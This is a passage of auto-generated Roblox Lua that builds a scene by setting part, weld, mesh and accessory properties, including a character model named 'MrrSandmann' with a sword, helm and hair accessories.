Color3.new(0.2, 0.2, 0.2) Smoke313.Size = 0.10000000149012 Smoke313.Opacity = 0.050000000745058 Smoke313.RiseVelocity = 5 Fire314.Parent = Part312 PointLight315.Parent = Part312 PointLight315.Color = Color3.new(1, 0.615686, 0.133333) PointLight315.Range = 16 Part316.Parent = Model308 Part316.CFrame = CFrame.new(182.799271, 0.504691124, -21.5915051, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part316.Position = Vector3.new(182.799271, 0.504691124, -21.5915051) Part316.Color = Color3.new(1, 0, 0) Part316.Transparency = 0.5 Part316.Size = Vector3.new(1.39999998, 0.200000003, 1.39999998) Part316.Anchored = true Part316.BottomSurface = Enum.SurfaceType.Smooth Part316.BrickColor = BrickColor.new("Really red") Part316.Material = Enum.Material.CorrodedMetal Part316.TopSurface = Enum.SurfaceType.Smooth Part316.brickColor = BrickColor.new("Really red") Part316.FormFactor = Enum.FormFactor.Custom Part316.formFactor = Enum.FormFactor.Custom Part317.Parent = Model308 Part317.CFrame = CFrame.new(182.871216, 0.925403595, -20.89151, 0.499999911, 0.866025329, 0, -0.866025329, 0.499999911, 0, 0, 0, 1) Part317.Orientation = Vector3.new(0, 0, -60) Part317.Position = Vector3.new(182.871216, 0.925403595, -20.89151) Part317.Rotation = Vector3.new(0, 0, -60) Part317.Color = Color3.new(0.105882, 0.164706, 0.207843) Part317.Size = Vector3.new(0.800000012, 1.99999976, 0.800000012) Part317.Anchored = true Part317.BottomSurface = Enum.SurfaceType.Smooth Part317.BrickColor = BrickColor.new("Black") Part317.Material = Enum.Material.Slate Part317.TopSurface = Enum.SurfaceType.Smooth Part317.brickColor = BrickColor.new("Black") Part317.FormFactor = Enum.FormFactor.Custom Part317.formFactor = Enum.FormFactor.Custom Part318.Name = "ScriptedPart" Part318.Parent = Model308 Part318.CFrame = CFrame.new(182.799271, 1.20469284, -21.5915051, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part318.Position = Vector3.new(182.799271, 1.20469284, -21.5915051) Part318.Color = Color3.new(1, 0, 0) Part318.Transparency = 1 Part318.Size = Vector3.new(3, 2, 3) Part318.Anchored = true Part318.BottomSurface = Enum.SurfaceType.Smooth Part318.BrickColor = BrickColor.new("Really red") Part318.CanCollide = false Part318.Material = Enum.Material.Concrete Part318.TopSurface = Enum.SurfaceType.Smooth Part318.brickColor = BrickColor.new("Really red") Part318.FormFactor = Enum.FormFactor.Custom Part318.formFactor = Enum.FormFactor.Custom Model319.Parent = Model307 Model320.Name = "MrrSandmann" Model320.Parent = Model319 Model320.PrimaryPart = Part328 Part321.Name = "Head" Part321.Parent = Model320 Part321.CFrame = CFrame.new(-25, 4.4999361, -211, 1, 3.46663342e-06, -4.52630474e-07, -3.4666507e-06, 1, -5.02923854e-07, 4.52625756e-07, 5.02921353e-07, 1) Part321.Position = Vector3.new(-25, 4.4999361, -211) Part321.Color = Color3.new(0.992157, 0.917647, 0.552941) Part321.Size = Vector3.new(2, 1, 1) Part321.Anchored = true Part321.BrickColor = BrickColor.new("Cool yellow") Part321.TopSurface = Enum.SurfaceType.Smooth Part321.brickColor = BrickColor.new("Cool yellow") Part321.FormFactor = Enum.FormFactor.Symmetric Part321.formFactor = Enum.FormFactor.Symmetric SpecialMesh322.Parent = Part321 SpecialMesh322.Scale = Vector3.new(1.25, 1.25, 1.25) Decal323.Name = "face" Decal323.Parent = Part321 Decal323.Texture = "http://www.roblox.com/asset?id=494290547" Weld324.Name = "HeadWeld" Weld324.Parent = Part321 Weld324.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld324.C1 = CFrame.new(-0.0301818848, 0.206862688, -0.0464763641, -1, 0, 0, 0, 1, 0, 0, 0, -1) Weld324.Part0 = Part321 Weld324.Part1 = Part343 Weld324.part1 = Part343 Weld325.Name = "HeadWeld" Weld325.Parent = Part321 Weld325.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld325.C1 = CFrame.new(0.302529037, -0.451991498, -0.0896668732, 0.69465816, -0.719339609, 0, 0.719092965, 0.69441998, -0.0261769425, 0.0188301243, 0.0181840397, 0.999657333) Weld325.Part0 = Part321 Weld325.Part1 = Part349 Weld325.part1 = Part349 Weld326.Name = "HeadWeld" Weld326.Parent = Part321 Weld326.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld326.C1 = CFrame.new(0, -0.340000004, -0.239999995, 1, 0, -0, 0, 0.96694231, 0.254995316, 0, -0.254995316, 0.96694231) Weld326.Part0 = Part321 Weld326.Part1 = Part355 Weld326.part1 = Part355 Weld327.Name = "HeadWeld" Weld327.Parent = Part321 Weld327.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld327.Part0 = Part321 Weld327.Part1 = Part361 Weld327.part1 = Part361 Part328.Name = "HumanoidRootPart" Part328.Parent = Model320 Part328.CFrame = CFrame.new(-24.9999752, 3.00001025, -211.5, 1, -9.42752831e-06, 1.2070177e-06, 9.42750376e-06, 1, -1.34109996e-06, -1.20700975e-06, 1.34110508e-06, 1) Part328.Position = Vector3.new(-24.9999752, 3.00001025, -211.5) Part328.Transparency = 1 Part328.Size = Vector3.new(2, 2, 1) Part328.Anchored = true Part328.BottomSurface = Enum.SurfaceType.Smooth Part328.CanCollide = false Part328.LeftParamA = 0 Part328.LeftParamB = 0 Part328.RightParamA = 0 Part328.RightParamB = 0 Part328.TopSurface = Enum.SurfaceType.Smooth Part328.FormFactor = Enum.FormFactor.Symmetric Part328.formFactor = Enum.FormFactor.Symmetric Motor6D329.Name = "RootJoint" Motor6D329.Parent = Part328 Motor6D329.MaxVelocity = 0.10000000149012 Motor6D329.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Motor6D329.C1 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Motor6D329.Part0 = Part328 Motor6D329.Part1 = Part337 Motor6D329.part1 = Part337 Part330.Name = "Left Arm" Part330.Parent = Model320 Part330.CFrame = CFrame.new(-43.5000038, 5.99983358, -211.499985, 1.00000012, -9.32981493e-06, 1.2088567e-06, 9.61351907e-06, 1.00000024, -1.33924186e-06, -1.20513141e-06, 1.34110451e-06, 1.00000024) Part330.Position = Vector3.new(-43.5000038, 5.99983358, -211.499985) Part330.Color = Color3.new(0.992157, 0.917647, 0.552941) Part330.Size = Vector3.new(35, 8, 1) Part330.Anchored = true Part330.BrickColor = BrickColor.new("Cool yellow") Part330.CanCollide = false Part330.brickColor = BrickColor.new("Cool yellow") Part330.FormFactor = Enum.FormFactor.Symmetric Part330.formFactor = Enum.FormFactor.Symmetric Weld331.Parent = Part330 Weld331.C0 = CFrame.new(17.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld331.C1 = CFrame.new(-0.999990463, 3.00001049, -1.52587891e-05, -1.48487516e-08, 1.13481678e-06, 1.00000095, -7.4056743e-09, 1.00000191, 1.13481678e-06, -1.00000191, 7.40533324e-09, 1.48488652e-08) Weld331.Part0 = Part330 Weld331.Part1 = Part337 Weld331.part1 = Part337 Part332.Name = "Left Leg" Part332.Parent = Model320 Part332.CFrame = CFrame.new(-25.4999561, 1.00000548, -211.5, 1, -9.42752285e-06, 1.20701873e-06, 9.42751012e-06, 1, -1.3410986e-06, -1.20700872e-06, 1.34110644e-06, 1) Part332.Position = Vector3.new(-25.4999561, 1.00000548, -211.5) Part332.Color = Color3.new(0.0509804, 0.411765, 0.67451) Part332.Size = Vector3.new(1, 2, 1) Part332.Anchored = true Part332.BottomSurface = Enum.SurfaceType.Smooth Part332.BrickColor = BrickColor.new("Bright blue") Part332.CanCollide = false Part332.brickColor = BrickColor.new("Bright blue") Part332.FormFactor = Enum.FormFactor.Symmetric Part332.formFactor = Enum.FormFactor.Symmetric Snap333.Parent = Part332 Snap333.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Snap333.C1 = CFrame.new(-0.5, -1.00000036, 0, -1.00000024, 1.84729743e-09, 1.3455994e-07, -1.3455994e-07, -1.48929757e-11, 1.00000024, -1.84729743e-09, 1.00000024, -1.48929757e-11) Snap333.Part0 = Part332 Snap333.Part1 = Part337 Snap333.part1 = Part337 Part334.Name = "Right Arm" Part334.Parent = Model320 Part334.CFrame = CFrame.new(-19.9999237, 27.5003471, -211.499969, 1.00000107, 2.01827879e-06, 1.35734604e-06, 5.35038623e-07, 1.00000215, -1.26518773e-06, -1.32393438e-06, 1.28184809e-06, 1.00000215) Part334.Position = Vector3.new(-19.9999237, 27.5003471, -211.499969) Part334.Color = Color3.new(0.992157, 0.917647, 0.552941) Part334.Size = Vector3.new(8, 51, 1) Part334.Anchored = true Part334.BrickColor = BrickColor.new("Cool yellow") Part334.CanCollide = false Part334.brickColor = BrickColor.new("Cool yellow") Part334.FormFactor = Enum.FormFactor.Symmetric Part334.formFactor = Enum.FormFactor.Symmetric Weld335.Parent = Part334 Weld335.C0 = CFrame.new(-4, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld335.C1 = CFrame.new(1.00032234, 24.5003929, 0, 1.67049052e-07, 1.27666463e-05, -1.00000215, 8.33125569e-08, 1.00000429, 7.65998811e-06, 1.00000429, -4.99884436e-08, 1.00228817e-07) Weld335.Part0 = Part334 Weld335.Part1 = Part337 Weld335.part1 = Part337 Part336.Name = "Right Leg" Part336.Parent = Model320 Part336.CFrame = CFrame.new(-24.4999561, 1.00001502, -211.5, 1, -9.42752285e-06, 1.20701873e-06, 9.42751012e-06, 1, -1.3410986e-06, -1.20700872e-06, 1.34110644e-06, 1) Part336.Position = Vector3.new(-24.4999561, 1.00001502, -211.5) Part336.Color = Color3.new(0.0509804, 0.411765, 0.67451) Part336.Size = Vector3.new(1, 2, 1) Part336.Anchored = true Part336.BottomSurface = Enum.SurfaceType.Smooth Part336.BrickColor = BrickColor.new("Bright blue") Part336.CanCollide = false Part336.brickColor = BrickColor.new("Bright blue") Part336.FormFactor = Enum.FormFactor.Symmetric Part336.formFactor = Enum.FormFactor.Symmetric Part337.Name = "Torso" Part337.Parent = Model320 Part337.CFrame = CFrame.new(-24.9999752, 3.00001025, -211.5, 1, -9.42752285e-06, 1.20701873e-06, 9.42751012e-06, 1, -1.3410986e-06, -1.20700872e-06, 1.34110644e-06, 1) Part337.Position = Vector3.new(-24.9999752, 3.00001025, -211.5) Part337.Color = Color3.new(0.156863, 0.498039, 0.278431) Part337.Size = Vector3.new(2, 2, 1) Part337.Anchored = true Part337.BrickColor = BrickColor.new("Dark green") Part337.LeftParamA = 0 Part337.LeftParamB = 0 Part337.LeftSurface = Enum.SurfaceType.Weld Part337.RightParamA = 0 Part337.RightParamB = 0 Part337.RightSurface = Enum.SurfaceType.Weld Part337.brickColor = BrickColor.new("Dark green") Part337.FormFactor = Enum.FormFactor.Symmetric Part337.formFactor = Enum.FormFactor.Symmetric Motor6D338.Name = "Left Hip" Motor6D338.Parent = Part337 Motor6D338.MaxVelocity = 0.10000000149012 Motor6D338.C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) Motor6D338.C1 = CFrame.new(-0.5, 1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) Motor6D338.Part0 = Part337 Motor6D338.Part1 = Part332 Motor6D338.part1 = Part332 Motor6D339.Name = "Right Hip" Motor6D339.Parent = Part337 Motor6D339.MaxVelocity = 0.10000000149012 Motor6D339.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0) Motor6D339.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0) Motor6D339.Part0 = Part337 Motor6D339.Part1 = Part336 Motor6D339.part1 = Part336 Snap340.Parent = Part337 Snap340.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Snap340.C1 = CFrame.new(1.71661377e-05, -0.499925375, -0.5, -1.00000024, 1.66149948e-06, -1.27596013e-05, -1.30287199e-05, -8.38184576e-07, 1.00000024, 1.65779431e-06, 1.00000024, 8.38175424e-07) Snap340.Part0 = Part337 Snap340.Part1 = Part321 Snap340.part1 = Part321 Humanoid341.Parent = Model320 Humanoid341.LeftLeg = Part332 Humanoid341.RightLeg = Part336 Humanoid341.Torso = Part328 Accessory342.Name = "Floating Sparkling Shine" Accessory342.Parent = Model320 Accessory342.AttachmentForward = Vector3.new(-0, -0, 1) Accessory342.AttachmentPoint = CFrame.new(-0.0301818848, 0.206862688, -0.0464763641, -1, 0, 0, 0, 1, 0, 0, 0, -1) Accessory342.AttachmentPos = Vector3.new(-0.0301818848, 0.206862688, -0.0464763641) Accessory342.AttachmentRight = Vector3.new(-1, 0, 0) Part343.Name = "Handle" Part343.Parent = Accessory342 Part343.CFrame = CFrame.new(-25.0183334, 3.95909905, -211.125488, -0.999999702, -1.99634542e-07, -1.67618452e-08, -6.86736712e-08, 0.999999642, -1.8623723e-08, 1.96109795e-12, -2.67164069e-12, -1.00000012) Part343.Orientation = Vector3.new(0, -180, 0) Part343.Position = Vector3.new(-25.0183334, 3.95909905, -211.125488) Part343.Rotation = Vector3.new(180, 0, 180) Part343.Size = Vector3.new(2.88000011, 3, 2.70000005) Part343.Anchored = true Part343.BottomSurface = Enum.SurfaceType.Smooth Part343.CanCollide = false Part343.TopSurface = Enum.SurfaceType.Smooth SpecialMesh344.Name = "SpecialMesh" SpecialMesh344.Parent = Part343 SpecialMesh344.MeshId = "rbxassetid://4641670867" SpecialMesh344.TextureId = "rbxassetid://4641683252" SpecialMesh344.MeshType = Enum.MeshType.FileMesh StringValue345.Name = "AvatarPartScaleType" StringValue345.Parent = Part343 StringValue345.Value = "Classic" Weld346.Name = "AccessoryWeld" Weld346.Parent = Part343 Weld346.C0 = CFrame.new(-0.018335551, 0.140847206, -0.125486106, -1, 0, 0, 0, 1, 0, 0, 0, -1) Weld346.C1 = CFrame.new(0, 0.600000024, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld346.Part0 = Part343 Weld346.Part1 = Part321 Weld346.part1 = Part321 Weld347.Name = "AccessoryWeld" Weld347.Parent = Part343 Weld347.C0 = CFrame.new(-0.018335551, 0.140847206, -0.125486106, -1, 0, 0, 0, 1, 0, 0, 0, -1) Weld347.C1 = CFrame.new(0, 0.600000024, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld347.Part0 = Part343 Weld347.Part1 = Part321 Weld347.part1 = Part321 Accessory348.Name = "Excalibur" Accessory348.Parent = Model320 Accessory348.AttachmentForward = Vector3.new(-0, 0.0261769425, -0.999657333) Accessory348.AttachmentPoint = CFrame.new(0.302529037, -0.451991498, -0.0896668732, 0.69465816, -0.719339609, 0, 0.719092965, 0.69441998, -0.0261769425, 0.0188301243, 0.0181840397, 0.999657333) Accessory348.AttachmentPos = Vector3.new(0.302529037, -0.451991498, -0.0896668732) Accessory348.AttachmentRight = Vector3.new(0.69465816, 0.719092965, 0.0188301243) Accessory348.AttachmentUp = Vector3.new(-0.719339609, 0.69441998, 0.0181840397) Part349.Name = "Handle" Part349.Parent = Accessory348 Part349.CFrame = CFrame.new(-24.8834209, 3.5331347, -210.922195, 0.694665253, 0.719086766, 0.018831173, -0.719333231, 0.694427609, 0.0181828979, -1.80093321e-06, -0.0261769071, 0.999657631) Part349.Orientation = Vector3.new(-1.03999996, 1.08000004, -46.0099983) Part349.Position = Vector3.new(-24.8834209, 3.5331347, -210.922195) Part349.Rotation = Vector3.new(-1.03999996, 1.08000004, -45.9900017) Part349.Size = Vector3.new(1.18799996, 6.3119998, 0.25) Part349.Anchored = true Part349.BottomSurface = Enum.SurfaceType.Smooth Part349.CanCollide = false Part349.Locked = true Part349.TopSurface = Enum.SurfaceType.Smooth SpecialMesh350.Name = "SpecialMesh" SpecialMesh350.Parent = Part349 SpecialMesh350.MeshId = "rbxassetid://4508728600" SpecialMesh350.TextureId = "http://www.roblox.com/asset/?id=4248813863" SpecialMesh350.MeshType = Enum.MeshType.FileMesh StringValue351.Name = "AvatarPartScaleType" StringValue351.Parent = Part349 StringValue351.Value = "Classic" Weld352.Name = "AccessoryWeld" Weld352.Parent = Part349 Weld352.C0 = CFrame.new(0.302529037, -0.451991498, -0.0896668732, 0.694658458, -0.719339788, 9.31322575e-10, 0.719093263, 0.694420397, -0.0261769667, 0.0188301317, 0.0181840509, 0.999657393) Weld352.C1 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld352.Part0 = Part349 Weld352.Part1 = Part337 Weld352.part1 = Part337 Weld353.Name = "AccessoryWeld" Weld353.Parent = Part349 Weld353.C0 = CFrame.new(0.302529037, -0.451991498, -0.0896668732, 0.694658458, -0.719339728, 9.31322575e-10, 0.719093263, 0.694420457, -0.0261769667, 0.0188301317, 0.0181840528, 0.999657393) Weld353.C1 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld353.Part0 = Part349 Weld353.Part1 = Part337 Weld353.part1 = Part337 Accessory354.Name = "ValkyrieHelm" Accessory354.Parent = Model320 Accessory354.AttachmentForward = Vector3.new(0, -0.254995316, -0.96694231) Accessory354.AttachmentPoint = CFrame.new(0, -0.340000004, -0.239999995, 1, 0, -0, 0, 0.96694231, 0.254995316, 0, -0.254995316, 0.96694231) Accessory354.AttachmentPos = Vector3.new(0, -0.340000004, -0.239999995) Accessory354.AttachmentUp = Vector3.new(0, 0.96694231, -0.254995316) Part355.Name = "Handle" Part355.Parent = Accessory354 Part355.CFrame = CFrame.new(-24.9999981, 5.26750851, -210.680969, 0.999999702, -1.96366642e-07, 6.91201762e-08, 7.65508048e-08, 0.966941953, -0.254995197, -9.37916411e-13, 0.254995346, 0.96694243) Part355.Orientation = Vector3.new(14.7700005, 0, 0) Part355.Position = Vector3.new(-24.9999981, 5.26750851, -210.680969) Part355.Rotation = Vector3.new(14.7700005, 0, 0) Part355.Size = Vector3.new(1, 0.800000012, 1) Part355.Anchored = true Part355.BottomSurface = Enum.SurfaceType.Smooth Part355.CanCollide = false Part355.Locked = true Part355.TopSurface = Enum.SurfaceType.Smooth Part355.FormFactor = Enum.FormFactor.Plate Part355.formFactor = Enum.FormFactor.Plate SpecialMesh356.Parent = Part355 SpecialMesh356.MeshId = "http://www.roblox.com/asset/?id=1365696" SpecialMesh356.Scale = Vector3.new(1, 1, 1.14999998) SpecialMesh356.TextureId = "http://www.roblox.com/asset/?id=1365693" SpecialMesh356.MeshType = Enum.MeshType.FileMesh Weld357.Name = "AccessoryWeld" Weld357.Parent = Part355 Weld357.C0 = CFrame.new(8.65838956e-09, -0.243375778, -0.265762806, 1, 7.87136756e-09, 2.13162821e-14, -7.61116326e-09, 0.96694231, 0.254995316, 2.00714112e-09, -0.254995316, 0.96694231) Weld357.C1 = CFrame.new(0, 0.600000024, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld357.Part0 = Part355 Weld357.Part1 = Part321 Weld357.part1 = Part321 Weld358.Name = "AccessoryWeld" Weld358.Parent = Part355 Weld358.C0 = CFrame.new(8.65838956e-09, -0.243375778, -0.265762806, 1, 7.87136756e-09, 2.13162821e-14, -7.61116326e-09, 0.96694231, 0.254995316, 2.00714112e-09, -0.254995316, 0.96694231) Weld358.C1 = CFrame.new(0, 0.600000024, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld358.Part0 = Part355 Weld358.Part1 = Part321 Weld358.part1 = Part321 Camera359.Name = "ThumbnailCamera" Camera359.Parent = Accessory354 Camera359.CFrame = CFrame.new(3.10388184, 18.1028881, 19.2127419, -0.653418839, -0.0988031328, 0.750521004, -0, 0.99144578, 0.130519897, -0.756996691, 0.0852841586, -0.647829235) Camera359.CoordinateFrame = CFrame.new(3.10388184, 18.1028881, 19.2127419, -0.653418839, -0.0988031328, 0.750521004, -0, 0.99144578, 0.130519897, -0.756996691, 0.0852841586, -0.647829235) Camera359.Focus = CFrame.new(1.60284019, 17.8418484, 20.5084, 1, 0, 0, 0, 1, 0, 0, 0, 1) Camera359.focus = CFrame.new(1.60284019, 17.8418484, 20.5084, 1, 0, 0, 0, 1, 0, 0, 0, 1) Accessory360.Name = "Ultra-Fabulous Hair" Accessory360.Parent = Model320 Part361.Name = "Handle" Part361.Parent = Accessory360 Part361.CFrame = CFrame.new(-24.9999981, 4.99994659, -210.999725, 0.999999702, -2.07505991e-07, 1.67618452e-08, 7.65451205e-08, 0.999999642, 1.8623723e-08, -1.96109795e-12, -2.67164069e-12, 1.00000012) Part361.Position = Vector3.new(-24.9999981, 4.99994659, -210.999725) Part361.Size = Vector3.new(2, 2, 2) Part361.Anchored = true Part361.BottomSurface = Enum.SurfaceType.Smooth Part361.CanCollide = false Part361.Locked = true Part361.TopSurface = Enum.SurfaceType.Smooth Part361.FormFactor = Enum.FormFactor.Symmetric Part361.formFactor = Enum.FormFactor.Symmetric SpecialMesh362.Parent = Part361 SpecialMesh362.MeshId = "http://www.roblox.com/asset/?id=16627529" SpecialMesh362.Scale = Vector3.new(1.04999995, 1.04999995, 1.04999995) SpecialMesh362.TextureId = "http://www.roblox.com/asset/?id=16627494" SpecialMesh362.MeshType = Enum.MeshType.FileMesh Weld363.Name = "AccessoryWeld" Weld363.Parent = Part361 Weld363.C0 = CFrame.new(8.65838956e-09, 0.0999999046, -0.000272244215, 1, 7.87137555e-09, -3.26223034e-24, -7.87137555e-09, 1, -4.1444221e-16, 0, 4.1444221e-16, 1) Weld363.C1 = CFrame.new(0, 0.600000024, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld363.Part0 = Part361 Weld363.Part1 = Part321 Weld363.part1 = Part321 Weld364.Name = "AccessoryWeld" Weld364.Parent = Part361 Weld364.C0 = CFrame.new(8.65838956e-09, 0.0999999046, -0.000272244215, 1, 7.87137555e-09, -3.26223034e-24, -7.87137555e-09, 1, -4.1444221e-16, 0, 4.1444221e-16, 1) Weld364.C1 = CFrame.new(0, 0.600000024, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld364.Part0 = Part361 Weld364.Part1 = Part321 Weld364.part1 = Part321 BodyColors365.Parent = Model320 BodyColors365.HeadColor = BrickColor.new("Light orange") BodyColors365.HeadColor3 = Color3.new(0.917647, 0.721569, 0.572549) BodyColors365.LeftArmColor = BrickColor.new("Light orange") BodyColors365.LeftArmColor3 = Color3.new(0.917647, 0.721569, 0.572549) BodyColors365.LeftLegColor = BrickColor.new("Light orange") BodyColors365.LeftLegColor3 = Color3.new(0.917647, 0.721569, 0.572549) BodyColors365.RightArmColor = BrickColor.new("Light orange") BodyColors365.RightArmColor3 = Color3.new(0.917647, 0.721569, 0.572549) BodyColors365.RightLegColor = BrickColor.new("Light orange") BodyColors365.RightLegColor3 = Color3.new(0.917647, 0.721569, 0.572549) BodyColors365.TorsoColor = BrickColor.new("Light orange") BodyColors365.TorsoColor3 = Color3.new(0.917647, 0.721569, 0.572549) Shirt366.Name = "Shirt" Shirt366.Parent = Model320 Shirt366.ShirtTemplate = "http://www.roblox.com/asset/?id=3789229425" Pants367.Name = "Pants" Pants367.Parent = Model320 Pants367.PantsTemplate = "http://www.roblox.com/asset/?id=2445453616" Model368.Parent = Model319 Model369.Parent = Model368 Part370.Name = "Right Arm" Part370.Parent = Model369 Part370.CFrame = CFrame.new(-16.5410156, 55.5002365, -217.551559, -1, 0, 0, 0, 0, 1, 0, 1, -0) Part370.Orientation = Vector3.new(-90, -180, 0) Part370.Position = Vector3.new(-16.5410156, 55.5002365, -217.551559) Part370.Rotation = Vector3.new(-90, 0, -180) Part370.Color = Color3.new(0.294118, 0.592157, 0.294118) Part370.Size = Vector3.new(1, 2, 1) Part370.Anchored = true Part370.BottomSurface = Enum.SurfaceType.Smooth Part370.BrickColor = BrickColor.new("Bright green") Part370.TopSurface = Enum.SurfaceType.Smooth Part370.brickColor = BrickColor.new("Bright green") Weld371.Parent = Part370 Weld371.C0 = CFrame.new(0, 0, -0.5, -1, -0, -0, 0, 1, 0, -0, -0, -1) Weld371.C1 = CFrame.new(0.5, 0.200073242, 0, -0, -1, 0, 0, 0, -1, 1, 0, 0) Weld371.Part0 = Part370 Weld371.Part1 = Part500 Weld371.part1 = Part500 Weld372.Parent = Part370 Weld372.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld372.C1 = CFrame.new(0.599975586, -0.199996948, 0, 0, -1, 0, 0, -0, 1, -1, 0, 0) Weld372.Part0 = Part370 Weld372.Part1 = Part475 Weld372.part1 = Part475 Part373.Name = "Right Arm" Part373.Parent = Model369 Part373.CFrame = CFrame.new(-15.5410156, 55.5002365, -217.551559, 0, 0, 1, 1, 0, 0, 0, 1, 0) Part373.Orientation = Vector3.new(0, 90, 90) Part373.Position = Vector3.new(-15.5410156, 55.5002365, -217.551559) Part373.Rotation = Vector3.new(90, 90, 0) Part373.Color = Color3.new(0.294118, 0.592157, 0.294118) Part373.Size = Vector3.new(1, 2, 1) Part373.Anchored = true Part373.BottomSurface = Enum.SurfaceType.Smooth Part373.BrickColor = BrickColor.new("Bright green") Part373.TopSurface = Enum.SurfaceType.Smooth Part373.brickColor = BrickColor.new("Bright green") Part374.Name = "Torso" Part374.Parent = Model369 Part374.CFrame = CFrame.new(-16.0410156, 57.0002365, -218.051559, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part374.Orientation = Vector3.new(0, 180, 0) Part374.Position = Vector3.new(-16.0410156, 57.0002365, -218.051559) Part374.Rotation = Vector3.new(-180, 0, -180) Part374.Color = Color3.new(0.0509804, 0.411765, 0.67451) Part374.Size = Vector3.new(2, 2, 1) Part374.Anchored = true Part374.BrickColor = BrickColor.new("Bright blue") Part374.LeftParamA = 0 Part374.LeftParamB = 0 Part374.LeftSurface = Enum.SurfaceType.Weld Part374.RightParamA = 0 Part374.RightParamB = 0 Part374.RightSurface = Enum.SurfaceType.Weld Part374.brickColor = BrickColor.new("Bright blue") Weld375.Parent = Part374 Weld375.C0 = CFrame.new(1, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld375.C1 = CFrame.new(-0.5, -0.5, -0.299926758, -0, -0, 1, 1, 0, 0, 0, 1, 0) Weld375.Part0 = Part374 Weld375.Part1 = Part376 Weld375.part1 = Part376 Part376.Name = "Right Arm" Part376.Parent = Model369 Part376.CFrame = CFrame.new(-17.5410156, 57.3001671, -217.551559, -1, 0, 0, 0, 0, 1, 0, 1, -0) Part376.Orientation = Vector3.new(-90, -180, 0) Part376.Position = Vector3.new(-17.5410156, 57.3001671, -217.551559) Part376.Rotation = Vector3.new(-90, 0, -180) Part376.Color = Color3.new(0.960784, 0.803922, 0.188235) Part376.Size = Vector3.new(1, 2, 1) Part376.Anchored = true Part376.BottomSurface = Enum.SurfaceType.Smooth Part376.BrickColor = BrickColor.new("Bright yellow") Part376.TopSurface = Enum.SurfaceType.Smooth Part376.brickColor = BrickColor.new("Bright yellow") Part377.Name = "Head" Part377.Parent = Model369 Part377.CFrame = CFrame.new(-16.0410156, 58.5002365, -218.051559, -1, 0, 0, 0, 1, 0, 0, 0, -1) Part377.Orientation = Vector3.new(0, 180, 0) Part377.Position = Vector3.new(-16.0410156, 58.5002365, -218.051559) Part377.Rotation = Vector3.new(-180, 0, -180) Part377.Color = Color3.new(0.960784, 0.803922, 0.188235) Part377.Size = Vector3.new(2, 1, 1) Part377.Anchored = true Part377.BrickColor = BrickColor.new("Bright yellow") Part377.TopSurface = Enum.SurfaceType.Smooth Part377.brickColor = BrickColor.new("Bright yellow") SpecialMesh378.Parent = Part377 SpecialMesh378.Scale = Vector3.new(1.25, 1.25, 1.25) Decal379.Name = "face" Decal379.Parent = Part377 Snap380.Parent = Part377 Snap380.C0 = CFrame.new(0, -0.5, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Snap380.C1 = CFrame.new(0, 1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Snap380.Part0 = Part377 Snap380.Part1 = Part374 Snap380.part1 = Part374 Part381.Name = "Right Arm" Part381.Parent = Model369 Part381.CFrame = CFrame.new(-14.5410156, 57.5002365, -217.551559, -1, 0, 0, 0, 0, 1, 0, 1, -0) Part381.Orientation = Vector3.new(-90, -180, 0) Part381.Position = Vector3.new(-14.5410156, 57.5002365, -217.551559) Part381.Rotation = Vector3.new(-90, 0, -180) Part381.Color = Color3.new(0.960784, 0.803922, 0.188235) Part381.Size = Vector3.new(1, 2, 1) Part381.Anchored = true Part381.BottomSurface = Enum.SurfaceType.Smooth Part381.BrickColor = BrickColor.new("Bright yellow") Part381.TopSurface = Enum.SurfaceType.Smooth Part381.brickColor = BrickColor.new("Bright yellow") Weld382.Parent = Part381 Weld382.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld382.C1 = CFrame.new(-1, 0.5, -0.5, 0, -0, 1, -1, 0, 0, 0, -1, 0) Weld382.Part0 = Part381 Weld382.Part1 = Part374 Weld382.part1 = Part374 Weld383.Parent = Part381 Weld383.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld383.C1 = CFrame.new(-1, 0.5, -0.5, 0, -0, 1, -1, 0, 0, 0, -1, 0) Weld383.Part0 = Part381 Weld383.Part1 = Part374 Weld383.part1 = Part374 Weld384.Parent = Part381 Weld384.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld384.C1 = CFrame.new(-1, 0.5, -0.5, 0, -0, 1, -1, 0, 0, 0, -1, 0) Weld384.Part0 = Part381 Weld384.Part1 = Part374 